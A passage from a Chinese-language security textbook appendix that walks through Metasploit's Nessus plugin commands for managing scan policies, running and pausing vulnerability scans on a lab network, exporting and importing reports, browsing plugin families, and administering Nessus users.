                                Approved for quarterly external scanning as

                                required by PCI.                    true 

badlock         Badlock Detection    Remote and local checks for CVE-

                                 2016-2118 and CVE-2016-0128.    false

basic         Basic Network Scan     A full system scan suitable 

                                       for any host.                    false 

cloud_audit     Audit Cloud Infrastructure    Audit the configuration of third-

                                         party cloud services.    true 

compliance      Policy Compliance Auditing    Audit system configurations against

                                         a known baseline.        true 

custom          Custom Scan          Create a scan using a previously defined

                                 policy.                         false

discovery       Host Discovery        A simple scan to discover live hosts and open

                                    ports.                            false 

drown         DROWN Detection       Remote checks for CVE-2016-0800.    false 

ghost        GHOST (glibc) Detection        Local checks for CVE-2015-0235.

                                                                         false 

intelamt       Intel AMT Security Bypass    Remote and local checks for

                                         CVE-2017-5689.                false 

malware        Malware Scan            Scan for malware on Windows and Unix

                                 systems.                        false 

mdm           MDM Config Audit      Audit the configuration of mobile device

                                 managers.                        false 

mobile           Mobile Device Scan    Assess mobile devices via Microsoft

                                 Exchange or an MDM.                false 

offline         Offline Config Audit    Audit the configuration of network

                                     devices.                     true 

patch_audit    Credentialed Patch Audit      Authenticate to hosts and enumerate

                                         missing updates.        false 

pci             Internal PCI Network Scan    Perform an internal PCI DSS

                                         (11.2.1) vulnerability scan. true

scap           SCAP and OVAL Auditing     Audit systems using SCAP and OVAL

                                     definitions.                   true 

shadow_brokers    Shadow Brokers Scan      Scan for vulnerabilities disclosed

                                       in the Shadow Brokers leaks.    false 

shellshock      Bash Shellshock Detection    Remote and local checks for

                                             CVE-2014-6271 and CVE-2014-

                                                7169.                 false 

wannacry        WannaCry Ransomware     Remote and local checks for MS17-010.

                                                                       false 

webapp        Web Application Tests    Scan for published and unknown web

                                     vulnerabilities.            false 




 
以上输出信息显示了当前Nessus服务器中的所有扫描模板。在以上信息中包括5列，分别是Name（模板名称）、Title（模板标题）、Description（描述）、Subscription Only（只订阅）和Cloud Only。如果用户只希望查看某个扫描模板，可以使用-S选项进行搜索。例如，仅查看名称为asv的扫描模板。执行命令如下：
 


msf5 > nessus_template_list policy -S asv

Name    Title    Description    Subscription Only    Cloud Only

----    -----    -----------    -----------------    ----------

asv    PCI Quarterly External Scan     Approved for quarterly external scanning as required by PCI.        true




 
【实例B-9】列出所有策略模板。执行命令如下：
 


msf5 > nessus_template_list policy

Name     Title     Description    Subscription Only    Cloud

Only

----     -----      -------------------------    ------------    -----

advanced    Advanced Scan    Configure a scan without using any recommendations.        false

asv    PCI Quarterly External Scan    Approved for quarterly external scanning as required by PCI.        true

badlock    Badlock Detection    Remote and local checks for CVE-2016-2118 and CVE-2016- 0128.        false

basic    Basic Network Scan    A full system scan suitable for any host.        false

cloud_ audit    Audit Cloud Infrastructure    Audit the configuration of third-party cloud services.        true

compliance    Policy Compliance Auditing    Audit system configurations against a known baseline.        true

custom    Custom Scan    Create a scan using a previously defined policy.        false

discovery    Host Discovery    A simple scan to discover live hosts and open ports.        false

drown    DROWN Detection    Remote checks for CVE-2016-0800.        false

ghost    GHOST (glibc) Detection    Local checks for CVE-2015- 0235.        false

intelamt    Intel AMT Security Bypass    Remote and local checks for CVE-2017-5689.        false

malware    Malware Scan    Scan for malware on Windows and Unix systems.        false

mdm    MDM Config Audit    Audit the configuration of mobile device managers.        false

mobile    Mobile Device Scan    Assess mobile devices via Microsoft Exchange or an MDM.        false

offline    Offline Config Audit    Audit the configuration of network devices.        true

patch_ audit    Credentialed Patch Audit    Authenticate to hosts and enumerate missing updates.        false

pci    Internal PCI Network Scan    Perform an internal PCI DSS (11.2.1) vulnerability scan.        true

scap    SCAP and OVAL Auditing    Audit systems using SCAP and OVAL definitions. true        

shadow_ brokers    Shadow Brokers Scan    Scan for vulnerabilities disclosed in the Shadow Brokers leaks.        false

shellshock    Bash Shellshock Detection    Remote and local checks for CVE-2014-6271 and CVE-2014- 7169.        false

wannacry    WannaCry Ransomware    Remote and local checks for MS17-010.        false

webapp    Web Application Tests    Scan for published and unknown web vulnerabilities.        false




 
以上输出信息显示当前Nessus服务中所有默认的策略模板。
 
2．使用nessus_policy_list命令
 
nessus_policy_list命令可以查看用户创建的所有策略模板。该命令的语法格式如下所示：
 


nessus_policy_list -S searchterm




 
以上语法中的-S选项，可以用来搜索指定的策略模板。
 
【实例B-10】查看所有策略模板。执行命令如下：
 


msf5 > nessus_policy_list 

Policy     ID  Name       Policy UUID

-------    ----         -----------

4            Scan      ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66




 
从以上输出信息可以看到，当前Nessus服务器中只有一个自定义策略模板。输出的信息包括3列信息，分别是Policy ID（策略ID）、Name（策略名称）和Policy UUID（策略UUID）。通过对该策略模板的分析，可知当前策略模板名为Scan、ID为4、UUID为ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66。
B.2.2　删除策略模版
 
如果用户不再使用某个自定义的策略模板，可以将其删除。用户删除策略模板的命令及语法格式如下所示：
 


nessus_policy_del <policy ID>




 
在以上语法中，参数policy ID表示指定删除的策略模板ID。
 
【实例B-11】删除自定义的策略模板，其ID为4。则执行命令如下：
 


msf5 > nessus_policy_del 4

[+] Policy ID 4 successfully deleted




 
从输出的信息可以看到，策略ID 4成功删除。此时，用户再次查看策略模板，发现策略ID为4的策略模板已被删除，具体如下：
 


msf5 > nessus_policy_list 

[-] No policies found




 
从输出的信息可以看到，没有找到任何策略模板。由此说明，已成功删除了自定义的策略模板。
B.3　管理扫描任务
 
在用户确定了当前Nessus服务器中的策略模板后，则可以使用其策略模板来创建扫描任务了。然后，运行扫描任务。本节介绍管理扫描任务的方法。
B.3.1　查看任务
 
如果要管理扫描任务，先需要知道当前服务器中是否运行了扫描任务。如果没有任何扫描任务，则可以创建扫描任务。如果存在扫描任务的话，可以查看该扫描任务的详细信息。下面介绍查看扫描任务的方法。
 
1．列出所有扫描任务
 
使用nessus_scan_list命令可以列出当前Nessus服务器中的所有扫描任务。该命令的语法格式如下：
 


nessus_scan_list -S searchterm




 
以上语法中的-S选项，可以用来搜索指定的扫描任务。
 
【实例B-12】列出所有扫描任务。执行命令如下：
 


msf5 > nessus_scan_list 

Scan ID    Name          Owner     Started     Status        Folder

-------    ----           -----     -------       ------         ------

6          Local Scan    admin                 completed      3




 
从输出的信息可以看到，当前Nessus服务器中有一个扫描任务。输出的信息共显示了六列，分别是Scan ID（扫描ID）、Name（扫描名称）、Owner（所有者）、Started（启动时间）、Status（状态）和Folder（扫描配置目录ID）。通过对该扫描任务的分析，可知该扫描任务已扫描完成。其中，该扫描任务的ID为6；名称为Local Scan；所有者为admin；扫描配置目录ID为3。
 
2．查看指定任务的详细信息
 
通过查看当前Nessus服务器中的扫描任务可以看到，有一个扫描任务。如果想要查看该扫描任务的详细信息，可以使用nessus_scan_details命令来实现。该命令的语法格式如下：
 


scan_details <scan ID> <category> -S searchterm




 
以上语法中的参数scan ID表示扫描ID；category表示扫描种类。其中，可指定的扫描种类值有Info（详细信息）、hosts（主机）、vulnerabilities（漏洞）和history（历史）。-S选项用来搜索指定的扫描任务详细信息。
 
【实例B-13】查看扫描ID为6的扫描任务的详细信息。执行命令如下：
 


msf5 > nessus_scan_details 6 info

Status      Policy     Scan Name    Scan Targets    Scan Start Time    Scan End Time

------     ------    ---------    ------------    --------------    ------------

completed  Advanced Scan        Local Scan        192.168.29.0/24                                                                        1553684023 1553684401




 
输出信息包括6列，分别是Status（状态）、Policy（使用的策略模板）、Scan Name（扫描名称）、Scan Targets（扫描目标）、Scan Start Time（扫描起始时间）和Scan End Time（扫描结束时间）。通过对以上信息进行分析，可知该扫描任务使用的策略模板为Advanced Scan；扫描的目标为192.168.29.0/24；扫描名称为Local Scan等。
 
【实例B-14】查看扫描任务的漏洞详细信息。执行命令如下：
 


msf5 > nessus_scan_details 6 vulnerabilities

Plugin ID        Plugin Name                   Plugin Family       Count

---------        -----------                -------------           -----

11002              DNS Server Detection          DNS                    1

19506              Nessus Scan Information      Settings              1

50686              IP Forwarding Enabled        Firewalls             1




 
以上输出信息共显示了4列信息，分别是Plugin ID（插件ID）、Plugin Name（插件名）、Plugin Family（插件族）和Count（个数）。从显示的结果中可以看到，当前扫描任务中共扫描出3个漏洞，使用的插件为DNS Server Detection、Nessus Scan Information和IP Forwarding Enabled。
B.3.2　创建扫描任务
 
如果当前还没有扫描任务，或者要执行一个新的扫描任务，可以手动进行创建。用户可以使用3种方式来创建扫描任务。下面分别介绍具体的创建方法。
 
1．创建新任务
 
创建新任务最简单的方法，就是使用nessus_scan_new命令。该命令的语法格式如下：
 


nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>




 
以上语法中的参数<UUID of Policy>用来指定自定义策略模板的UUID；<Scan name>用来指定扫描名称；<Description>用来指定扫描任务的描述信息；Targets用来指定扫描目标。
 
【实例B-15】创建一个新的扫描任务。执行命令如下：
 


msf5 > nessus_scan_new ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f 9e66 "Network Scan" "Local Network Scan" 192.168.29.0/24

[*] Creating scan from policy number ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d 24bd260ef5f9e66, called Network Scan - Local Network Scan and scanning 192.168.29.0/24

[*] New scan added                                        #添加新的扫描任务

[*] Use nessus_scan_launch 12 to launch the scan        #启动该扫描任务

Scan ID        Scanner ID       Policy ID      Targets              Owner

-------        ----------       ---------      -------             -----

12             1               11           192.168.29.0/24    admin




 
从以上输出的信息可以看到，创建了一个名称为Network Scan的扫描任务。其中，该扫描任务的ID为12，扫描者ID为1，策略ID为11，扫描目标为192.168.29.0/24。如果要启动该扫描任务，执行nessus_scan_launch 12命令即可。
 
2．基于db_hosts表创建扫描任务
 
用户还可以使用nessus_db_scan命令，它基于db_hosts表中所有IP地址来创建扫描任务。该命令及语法格式如下：
 


nessus_db_scan <policy ID> <scan name> <scan description>




 
以上语法中的参数<policy ID>用来指定策略ID；<Scan name>用来指定扫描名称；<scan description>用来指定扫描描述信息。
 
3．基于指定工作区的db_host表创建扫描任务
 
用户还可以使用nessus_db_scan_workspace命令，基于指定工作区的db_hosts表中所有IP地址来创建扫描任务。其中，该命令的语法格式如下：
 


nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>




 
以上语法中的参数<policy ID>用来指定策略ID；<scan name>用来指定扫描名称；<scan description>用来指定扫描描述信息；<workspace>用来指定使用的工作区。
B.3.3　运行扫描任务
 
当用户创建好扫描任务后，即可运行该扫描任务，以发现目标主机中的漏洞信息。下面介绍启动扫描任务的方法。
 
1．启动任务
 
在创建好一个新的扫描任务后，用户必须手动启动才可以开始实施扫描。用于启动扫描任务的命令及其语法格式如下：
 


nessus_scan_launch <scan ID>




 
以上语法中的参数<scan ID>是用来指定要启动扫描任务的ID。
 
【实例B-16】启动扫描ID为12的任务。执行命令如下：
 


msf5 > nessus_scan_launch 12

[+] Scan ID 12 successfully launched. The Scan UUID is fcf09458-df9d- c108-2306-594158ad7f212bfe86405807dd3e




 
从输出的信息可以看到，扫描ID为12的任务已成功启动。此时，用户可以查看其扫描状态，以确定该扫描任务确实启动成功。具体如下：
 


msf5 > nessus_scan_list 

Scan ID        Name            Owner    Started        Status        Folder

-------        ----            -----    -------        ------        ------

6                Local Scan      admin                   completed      3

12               Network Scan    admin                   running        3




 
从输出的信息可以看到，扫描ID为12的扫描任务状态为running。由此可以说明，它已成功启动了该扫描任务。
 
2．暂停任务
 
在用户同时启动多个扫描任务时候，可能会发现速度非常慢。此时，用户可以先暂停某个任务，选择只运行一个。或者，在想要执行某个任务时，也可以将其暂停。下面将介绍暂停扫描任务的方法。
 
（1）暂停任务
 
暂停任务仅用来暂停一个扫描任务。用于暂停任务的命令及语法格式如下：
 


nessus_scan_pause <scan id>




 
以上语法中的参数<scan id>是用来指定将要暂停的扫描任务ID。
 
【实例B-17】暂停扫描ID为12的扫描任务。执行命令如下：
 


msf5 > nessus_scan_pause 12

[*] 12 has been paused




 
从输出的信息可以看到，扫描任务已暂停。此时，用户也可以查看该扫描任务的状态。具体如下：
 


msf5 > nessus_scan_list 

Scan ID      Name              Owner     Started      Status         Folder

-------      ----              -----     -------        ------          ------

6                Local Scan          admin                   completed     3

12               Network Scan      admin                    paused         3




 
从输出的信息可以看到，扫描ID为12的扫描任务，当前状态为paused，则表示已成功暂停该扫描任务。
 
（2）暂停所有任务
 
如果用户同时运行了多个扫描任务，想要都暂停的话，则需要使用nessus_scan_pause_all命令快速将其暂停。该命令的语法格式如下：
 


nessus_scan_pause_all




 
【实例B-18】暂停所有扫描任务。执行命令如下：
 


msf5 > nessus_scan_pause_all 

[*] All scans have been paused




 
从输出的信息可以看到，所有扫描任务都已暂停。
 
3．停止任务
 
停止扫描任务后，表示该扫描任务将不可以再运行。如果用户只是暂停任务，还可以恢复该任务继续运行。下面分别介绍停止任务的方法。
 
（1）停止任务
 
停止任务表示停止单个扫描任务。用于停止任务的命令及语法格式如下所示：
 


nessus_scan_stop <scan id>




 
以上语法中的参数<scan id>用来指定将停止任务的扫描ID。
 
【实例B-19】停止扫描ID为12的扫描任务。执行命令如下：
 


msf5 > nessus_scan_stop 12

[*] 12 has been stopped




 
从输出的信息可以看到，扫描ID为12的扫描任务已被停止。查看其状态，以确定是否成功停止。具体如下：
 


msf5 > nessus_scan_list 

Scan ID         Name                 Owner      Started        Status          Folder

-------       ----                 -----      -------       ------         ------

6                Local Scan         admin                    completed       3

12              Network Scan      admin                 canceled        3




 
（2）停止所有扫描任务
 
停止所有扫描任务将会停止当前运行的所有扫描任务。如果要停止所有运行的扫描任务，则可以使用nessus_scan_stop_all命令快速停止所有扫描任务。该命令的语法格式如下：
 


msf5 > nessus_scan_stop_all 

[*] All scans have been stopped




 
从输出的信息可以看到，所有的扫描任务都被停止。此时，查看扫描任务列表，将显示如下信息：
 


msf5 > nessus_scan_list 

Scan ID      Name              Owner     Started        Status        Folder

-------        ----              -----     -------      ------         ------

6                Local Scan        admin                    stopping     3

12               Network Scan      admin                   stopping       3


 
从显示的结果可以看到，当前运行的两个扫描任务都被停止了（stopping）。
 
4．恢复执行任务
 
如果用户将某个任务暂停，还可以恢复其扫描任务。下面介绍恢复暂停的扫描任务。
 
（1）恢复暂停的任务
 
恢复暂停的任务只能恢复指定的扫描任务，即只能恢复一个暂停的扫描任务。用于恢复暂停任务的命令及语法格式如下：
 


nessus_scan_resume <scan id>




 
以上语法中的参数<scan id>用来指定将要恢复暂停的任务ID。
 
【实例B-20】恢复扫描ID为12的扫描任务。执行命令如下：
 


msf5 > nessus_scan_resume 12

[*] 12 has been resumed




 
从输出的信息可以看到，扫描ID为12的扫描任务已恢复正常，即正在实施扫描。此时，查看其扫描任务列表。结果如下：
 


msf5 > nessus_scan_list 

Scan ID        Name                Owner     Started      Status         Folder

-------      ----                -----      -------      ------         ------

6                Local Scan        admin                   completed      3

12               Network Scan      admin                   running        3




 
从输出的信息可以看到，扫描ID为12的扫描任务已恢复正常，状态为running（正在运行）。
 
（2）恢复所有暂停的任务
 
如果用户想要将暂停的所有任务恢复执行，则可以使用nessus_scan_resume_all命令快速恢复所有暂停的任务。该命令语法格式如下：
 


msf5 > nessus_scan_resume_all 

[*] All scans have been resumed




 
从输出的信息可以看到，所有扫描任务已被恢复。
B.4　查看报告
 
用户对目标扫描完成后，则可以查看其扫描报告，以分析目标主机存在的漏洞信息。本节介绍查看及分析扫描报告的方法。
B.4.1　生成报告
 
为了方便对扫描结果进行分析，最好的方法就是生成报告。其中，可以生成的报告格式有Nessus、HTML、PDF、CSV和DB这5种。在用户生成报告后，还可以查看其状态。下面介绍生成报告的方法。
 
1．生成扫描报告
 
为了方便用户分析扫描结果，可以使用nessus_scan_export命令来导出扫描结果。该命令的语法格式如下：
 


nessus_scan_export <scan ID> <export format>




 
以上语法中的参数<scan ID>用来指定扫描ID；<export format>用来指定导出的报告格式。可指定的报告格式可以是Nessus、HTML、PDF、CSV或DB。
 
【实例B-21】生成一个Nessus格式的扫描报告。执行命令如下：
 


msf5 > nessus_scan_export 12 Nessus

[+] The export file ID for scan ID 12 is 826068083        #导出文件ID

[*] Checking export status...                            #检测导出状态

[*] Export status: loading                                #正在加载导出状态

[*] Export status: ready                                #准备就绪

[+] The status of scan ID 12 export is ready




 
看到以上输出信息，表示已成功生成了扫描报告。其中，该扫描报告文件的ID为826068083。而且，该报告的状态为ready，表示导出成功。
 
2．查看导出任务的状态
 
为了确定导出的扫描报告文件没有问题，可以使用nessus_scan_export_status命令查看其状态。该命令的语法格式如下：
 


nessus_scan_export_status <scan ID> <file ID>




 
以上语法中的参数<scan ID>用来指定扫描ID；<file ID>用来指定导出报告文件的ID。
 
【实例B-22】查看导出任务的状态。执行命令如下：
 


msf5 > nessus_scan_export_status 12 826068083

[*] Export status: ready

[*] The status of scan ID 12 export is ready




 
从输出的信息可以看到，导出任务的状态为ready。
B.4.2　分析报告
 
用户将扫描结果生成报告后，便可以分析该报告了。通过分析报告文件，即可获得存在漏洞的主机列表、漏洞列表及指定主机的详细信息。下面介绍分析报告的方法。
 
1．获取主机列表
 
在分析扫描报告时，首先查看存在漏洞的主机。此时，用户可以使用nessus_report_hosts命令获取主机列表。该命令的语法格式如下：
 


nessus_report_hosts <scan ID> -S searchterm




 
以上语法中的参数<scan ID>用来指定扫描ID，选项-S searchterm用来搜索特定的主机。
 
【实例B-23】从扫描报告中获取主机列表。执行命令如下：
 


msf5 > nessus_report_hosts 12

Host ID    Hostname    % of Critical Findings    % of High Findings    % of Medium Findings                                          % of Low Findings

-------    -------    --------------------    -----------------     -----------

--------                                        -----------------

2        192.168.29.2  0                    0                        1                                                        0




 
在以上输出信息中共显示了6列信息，分别表示Host ID（主机ID）、Hostname（主机名）、%of Critical Findings（严重漏洞所占百分比）、%of High Findings（高危漏洞所占百分比）、%of Medium Findings和（中等漏洞所占百分比）%of Low Findings（低危漏洞所占百分比）。通过对输出信息进行分析，可知该漏洞主机的IP地址为192.168.29.2，存在几个中等级漏洞。
 
2．获取漏洞列表
 
当用户确定该报告中存在漏洞主机后，接下来可以使用nessus_report_vulns命令获取漏洞列表。该命令的语法格式如下：
 


nessus_report_vulns <scan ID>




 
以上语法中的参数<scan ID>用来指定扫描ID。
 
【实例B-24】从扫描报告中获取漏洞列表。执行命令如下：
 


msf5 > nessus_report_vulns 12

Plugin ID    Plugin Name             Plugin Family         Vulnerability Count

---------    -----------                ------------           -----------------

11002        DNS Server Detection        DNS                    1

19506          Nessus Scan Information     Settings              1

50686           IP Forwarding Enabled        Firewalls             1




 
在以上输出信息中共显示了4列，分别是Plugin ID（插件ID）、Plugin Name（插件名）、Plugin Family（插件家族名）和Vulnerability Count（漏洞数）。通过对输出信息进行分析，可知目标主机中存在3个漏洞。
 
3．获取指定主机的详细信息
 
如果分析扫描报告时发现有多台漏洞主机，用户可以获取特定主机的漏洞详细信息，使用nessus_report_host_details命令获取指定主机的详细信息。该命令的语法格式如下：
 


nessus_report_host_details <scan ID> <host ID>




 
以上语法格式中的参数<scan ID>是指扫描ID，<host ID>用来指定主机ID。
B.4.3　导入报告
 
用户还可以将生成的扫描报告导入Metasploit框架中。导入扫描报告，便于Metasploit直接使用这些信息。其中，用于导入报告的命令及语法格式如下：
 


nessus_db_import <scan ID>




 
以上语法中的参数<scan ID>用来指定扫描ID。
 
【实例B-25】将Nessus扫描结果导入Metasploit的数据库中。执行命令如下：
 


msf5 > nessus_db_import 12

[*] Exporting scan ID 12 is Nessus format...        #导出的扫描ID文件格式

[+] The export file ID for scan ID 12 is 1862207051    #导出文件的ID

[*] Checking export status...                        #检查导出状态

[*] Export status: loading                            #导出状态

[*] Export status: ready

[*] The status of scan ID 12 export is ready

[*] Importing scan results to the database...        #导入扫描结果到数据库

[*] Importing data of 192.168.29.2                    #导入的数据

[+] Done                                                #完成




 
看到以上输出信息，表示已成功导入扫描结果到Metasploit的数据库。
B.5　管理插件
 
Nessus的强大之处就是提供了大量的漏洞插件，可以用来对目标主机进行漏洞扫描。本节介绍管理插件的方法。
B.5.1　查看插件
 
用户通过对插件的了解，即可知道该插件可以用来扫描哪些漏洞。下面分别介绍查看插件家族和插件的方法。
 
1．查看插件家族
 
插件家族是对某些插件的归类。用户可以使用nessus_family_list命令查看所有的插件家族。其中，该命令语法格式如下：
 


nessus_family_list -S searchterm




 
以上语法中的选项-S searchterm用来快速查找某个插件家族。
 
【实例B-26】查看当前Nessus服务器中的所有插件家族。执行命令如下：
 


msf5 > nessus_family_list 

Family ID    Family Name                                 Number of Plugins

---------     -----------                                 -----------------

1              Debian Local Security Checks                 4788

2              Fedora Local Security Checks                    13226

3              Firewalls                                           259

4              CGI abuses                                         4049

5              Ubuntu Local Security Checks                    4222

6              FreeBSD Local Security Checks                  4001

7              Solaris Local Security Checks                   3625

8              Scientific Linux Local Security Checks      2651

9              AIX Local Security Checks                       11363

10             Web Servers                                       1147

11             MacOS X Local Security Checks                  1318

12             Misc.                                             1850

13             HP-UX Local Security Checks                    1983

14             Windows : Microsoft Bulletins                   1733

15             SuSE Local Security Checks                      12337

16             Oracle Linux Local Security Checks          3005

17             Amazon Linux Local Security Checks          1261

18             Huawei Local Security Checks                    999

19             Windows                                          4212

20             CentOS Local Security Checks                    2752

21             Gentoo Local Security Checks                    2727

22             CGI abuses : XSS                                  671

23             OracleVM Local Security Checks                 499

24             F5 Networks Local Security Checks           754

25             Service detection                               454

26             General                                           267

27             Red Hat Local Security Checks                   5413

28             Junos Local Security Checks                     235

29             Databases                                         609

30             FTP                                               255

31             Gain a shell remotely                           281

32             CISCO                                            961

33            Peer-To-Peer File Sharing                       94

34             SMTP problems                                    141

35             Virtuozzo Local Security Checks                 252

36             Backdoors                                         121

37             VMware ESX Local Security Checks               122

38             Slackware Local Security Checks                 1120

39             Mobile Devices                                  85

40             Palo Alto Local Security Checks                 56

41             DNS                                               181

42             PhotonOS Local Security Checks                  605

43             RPC                                               38

44             Default Unix Accounts                           170

45             Settings                                            96

46             Denial of Service                               110

47             Brute force attacks                             26

48             SNMP                                             33

49             Windows : User management                     28

50             Netware                                           14

51             SCADA                                            3

52             Policy Compliance                               11




 
从输出的信息可以看到当前Nessus服务器中的所有插件家族。以上信息共包括3列，分别表示Family ID（插件家族ID）、Family Name（插件家族名）和Number of Plugins（插件家族的编号）。如果用户想快速查看某个插件家族的信息，可以使用-S选项进行过滤。例如，查看插件家族FTP的信息。执行命令如下：
 


msf5 > nessus_family_list -S FTP

Family ID      Family Name                        Number of Plugins

---------      -----------                        -----------------

30             FTP                                 255




 
2．查看插件
 
一个插件家族中包括许多个插件。如果用户想查看某插件家族的插件列表，可以使用nessus_plugin_list命令。该命令的语法格式如下：
 


nessus_plugin_list <Family ID>




 
以上语法中的参数<Family ID>表示指定插件家族ID。
 
【实例B-27】查看家族ID为30的所有插件列表。执行命令如下：
 


msf5 > nessus_plugin_list 30

[+] Plugin Family Name: FTP                                #插件家族名

Plugin ID     Plugin Name                                    #插件列表

---------      -----------

10009          AIX FTPd libc Library Remote Buffer Overflow

10079          Anonymous FTP Enabled

10081          FTP Privileged Port Bounce Scan

10082          FTPd CWD Command Account Enumeration

10083          FTP 'CWD ~root' Command Privilege Escalation

10084          Multiple FTP Server Command Handling Overflow

10085          Multiple Vendor FTP Multiple PASV Command Port Exhaustion DoS

10086          WU-FTPD QUOTE PASV Forced Core Dump Information Disclosure

10087          Multiple FTP Server QUOTE CWD Command Home Path Disclosure

10088          Anonymous FTP Writable root Directory

10089          Serv-U CWD Command Overflow

10090          WU-FTPD SITE EXEC Arbitrary Local Command Execution

10118          Microsoft IIS FTP Server NLST Command Overflow DoS

10166          Windows NT FTP 'guest' Account Present

10189          ProFTPD mkdir Buffer Overflow

10190          ProFTPD 1.2.0pre4 mkdir Command Directory Name Handling Remote

             Overflow

10191          ProFTPD NLST Command Argument Handling Remote Overflow

…//省略部分内容//…

77004          Cerberus FTP Server 6.x < 6.0.10.0 / 7.x < 7.0.0.3 Multiple

             OpenSSL Vulnerabilities

77986          GNU Bash Environment Variable Handling Code Injection via

             ProFTPD (Shellshock)

84215          ProFTPD mod_copy Information Disclosure

86905          Janitza Hard-Coded FTP Password

90765           Core FTP Server < 1.2 Build 588 32-bit Unspecified Overflow

             Vulnerability

101547         Foscam C1 IP Camera FTP Hard Coded Password

106750         ProFTPD 1.3.1 SQL injection protection bypass

106751         ProFTPD < 1.3.2rc3 ABOR Denial of Service

106752         ProFTPD < 1.3.2b / 1.3.3x < 1.3.3rc2 client-hostname restriction

             bypass

106753         ProFTPD < 1.3.4rc2 client-hostname restriction bypass

106754         ProFTPD 1.3.4d / 1.3.5rc3 Denial of Service

106755         ProFTPD < 1.3.5b / 1.3.6x < 1.3.6rc2 weak Diffie-Hellman key

106756         ProFTPD < 1.3.5e / 1.3.6x < 1.3.6rc5 AllowChrootSymlinks bypass




 
从输出的信息可以看到插件家族FTP中的所有插件。由于输出的信息较多，中间部分内容省略了。以上信息共包括两列信息，分别是Plugin ID（插件ID）和Plugin Name（插件名）。
B.5.2　列出插件详细信息
 
如果用户想查看某插件的详细信息，则可以使用nessus_plugin_details来查看。该命令的语法格式如下所示：
 


nessus_plugin_details <Plugin ID>




 
以上语法中的参数<Plugin ID>用来指定插件ID。
 
【实例B-28】查看插件ID为10079的插件详细信息。执行命令如下：
 


msf5 > nessus_plugin_details 10079

[+] Plugin Name: Anonymous FTP Enabled                #插件名

[+] Plugin Family: FTP                                #插件家族

Reference                 Value                        #插件详细信息

---------                   -----

bid                            83206                        #参考连接的Bugtraq ID

cve                            CVE-1999-0497                #CVE编号

cvss3_base_score           5.3                            #漏洞评分

cvss3_vector                CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

cvss_base_score            5.0

cvss_score_rationale       Tenable gives a Confidentiality impact of Partial

since the issue could allow unwanted access to file system.

cvss_score_source        CVE-1999-0497

cvss_vector                CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

description                Nessus has detected that the FTP server running on

                         the remote host                #描述信息

allows anonymous logins. Therefore, any remote user may connect and

authenticate to the server without providing a password or unique

credentials. This allows the user to access any files made available

by the FTP server.

fname                         ftp_anonymous.nasl

plugin_modification_date    2018/10/10                #插件修改时间

plugin_name                  Anonymous FTP Enabled        #插件名

plugin_publication_date    1999/06/22                    #插件公开时间

plugin_type               remote                        #插件类型

risk_factor                Medium                        #风险级别

script_version              1.57                        #脚本版本

solution                   Disable anonymous FTP if it is not required.

                         Routinely check the FTP        #解决方法

server to ensure that sensitive content is not being made available.

synopsis                      Anonymous logins are allowed on the remote FTP

                         server.

vuln_publication_date       1993/07/01                    #漏洞公开时间




 
以上输出信息共显示了两列，分别是Reference（参考信息）和Value（值）。从以上输出的信息可知，该插件名为启动匿名FTP；发布的日期为1999/06/22；插件修改日期为2018/10/10；插件类型为remote；风险级别为Medium等。
B.6　管理用户
 
对于一台服务器来说，通常会有许多用户来访问。所以，对用户进行管理也就成为一件非常重要的事了。本节介绍如何对用户进行管理。
B.6.1　查看现有用户
 
如果要对用户进行管理，则需要知道当前服务器中都有哪些用户。所以，这里先查看现有的用户。查看现有用户的命令及语法格式如下：
 


nessus_user_list




 
【实例B-29】查看Nessus服务中已有的用户。执行命令如下：
 


msf5 > nessus_user_list 

ID      Name     Username      Type     Email        Permissions

--     ----     --------      ----      -----        -----------

2       admin      admin           local                   128




 
以上的输出信息共包括6列，分别是ID（用户ID）、Name（名称）、Username（用户名）、Type（类型）、Email（邮件地址）和Permissions（权限）。Nessus服务器中目前有一个用户。名为admin。
B.6.2　修改用户密码
 
如果用户想要修改某用户密码，可以使用nessus_user_passwd命令修改。该命令的语法格式如下：
 


nessus_user_passwd <User ID> <New Password>




 
以上语法中的参数<User ID>用来指定用户ID，<New Password>用来指定修改的密码。
 
【实例B-30】修改admin用户的名为daxueba。其中，该用户ID为2。执行命令如下：
 


msf5 > nessus_user_passwd 2 daxueba

[+] Password of account having user ID 2 changed successfully




 
看到以上输出信息，表示已成功修改了用户的密码。
B.6.3　添加/删除用户
 
默认情况下，Nessus服务器中只创建一个管理员用户。如果用户不希望所有客户端都以管理员身份登录Nessus服务器，则可以添加一个新的用户。在用户不需要某用户时，还可以将其删除。下面介绍添加/删除用户的方法。
 
1．添加用户
 
当用户需要添加一个Nessus用户时，可以使用nessus_user_add命令来添加。该命令的语法格式如下：
 


nessus_user_add <username> <password> <permissions> <type>




 
以上语法中的参数<username>用来指定添加的用户名；<password>用来指定添加用户的密码；<permissions>用来指定该用户的权限，可指定的值为32、64和128；<type>用来指定用户类型，可指定的值为local或LDAP。
 
【实例B-31】添加一个名为test的用户。执行命令如下：
 


msf5 > nessus_user_add test daxueba 32 local

[+] test created successfully




 
从输出的信息可以看到，已成功创建了一个test用户。用户还可以通过查看用户列表，来查看创建的用户。具体如下：
 


msf5 > nessus_user_list 

ID          Name      Username      Type       Email          Permissions

--       ----       --------      ----       -----        -----------

2       admin          admin          local                   128

4       test         test           local                  32




 
从输出的信息可以看到刚创建的用户test。由此可以说明，用户添加成功。
 
2．删除用户
 
如果用户要删除某用户，可以使用nessus_user_del命令来实现。该命令的语法格式如下所示：
 


nessus_user_del <User ID>




 
以上语法中的参数<User ID>表示指定用户ID。
 
【实例B-32】删除ID为4的用户。执行命令如下：
 


msf5 > nessus_user_del 4

[+] User account having user ID 4 deleted successfully




 
从输出的信息可以看到，已成功删除了用户ID为4的用户账户。
附录C　OpenVAS插件
 
OpenVAS是一个开放式漏洞评估系统。它的核心部件是服务器，包括一套网络漏洞测试程序，可以检测远程系统和应用程序中的安全问题。Metasploit提供了OpenVAS插件，可以直接调用OpenVAS，以方便两个工具的衔接。当用户在Metasploit中加载该插件后，就可以使用该插件提供的命令来连接OpenVAS服务器，并以远程方式来实施漏洞扫描。本附录介绍OpenVAS插件的使用。
